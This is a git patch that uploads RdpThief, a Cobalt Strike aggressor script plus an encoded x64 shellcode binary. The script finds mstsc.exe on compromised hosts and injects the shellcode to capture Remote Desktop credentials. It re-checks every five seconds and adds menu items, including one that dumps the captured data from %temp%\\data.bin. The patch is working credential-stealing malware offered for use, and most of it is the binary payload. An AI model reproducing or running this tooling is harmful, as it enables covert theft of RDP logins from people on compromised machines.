From c2d5d7966a563189066fd71497b25b8d2d4633f5 Mon Sep 17 00:00:00 2001 From: TimWhite <36320909+timwhitez@users.noreply.github.com> Date: Thu, 5 Dec 2019 15:50:05 +0800 Subject: [PATCH] Add files via upload --- rdpthief/RdpThief.cna | 53 ++++++++++++++++++++++++++++++++++++++ rdpthief/RdpThief_x64.tmp | Bin 0 -> 47633 bytes 2 files changed, 53 insertions(+) create mode 100644 rdpthief/RdpThief.cna create mode 100644 rdpthief/RdpThief_x64.tmp diff --git a/rdpthief/RdpThief.cna b/rdpthief/RdpThief.cna new file mode 100644 index 0000000..aff37c2 --- /dev/null +++ b/rdpthief/RdpThief.cna @@ -0,0 +1,53 @@ +@beacons = @(); +@pids = @(); + +on heartbeat_5s{ + + foreach $index => $beaconid (@beacons) + { + + bps($beaconid,&handleProcess); + } + +} + + +sub handleProcess{ + + $processList = $2; + $index = indexOf($processList, "mstsc.exe", 0) + 9; + + if($index > 9){ + + $temp = substr($processList,$index,-1); + $pid = split("\t",$temp)[2]; + + if ($pid !in @pids){ + add(@pids,$pid,0); + blog($1,"Injecting into mstsc.exe with PID: $pid"); + bshinject($1, $pid , "x64" ,script_resource("rdpthief/RdpThief_x64.tmp")); + } + + } +} + + + +#append menus + + + menu "RdpThief"{ + item "Rdpthief_Enable"{ + blog($1, "RdpThief enabled \n"); + add(@beacons,$1,0); + } + + item "Rdpthief_Disable"{ + blog($1, "Disabling RdpThief"); + remove(@beacons,$1); + } + + item "Rdpthief_Dump"{ + bshell($1,"type %temp%\\data.bin"); + } + } \ No newline at end of file diff --git a/rdpthief/RdpThief_x64.tmp b/rdpthief/RdpThief_x64.tmp new file mode 100644 index 0000000000000000000000000000000000000000..c4427df82833a883913c7ec6cc501ff3da26994e GIT binary patch literal 47633 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 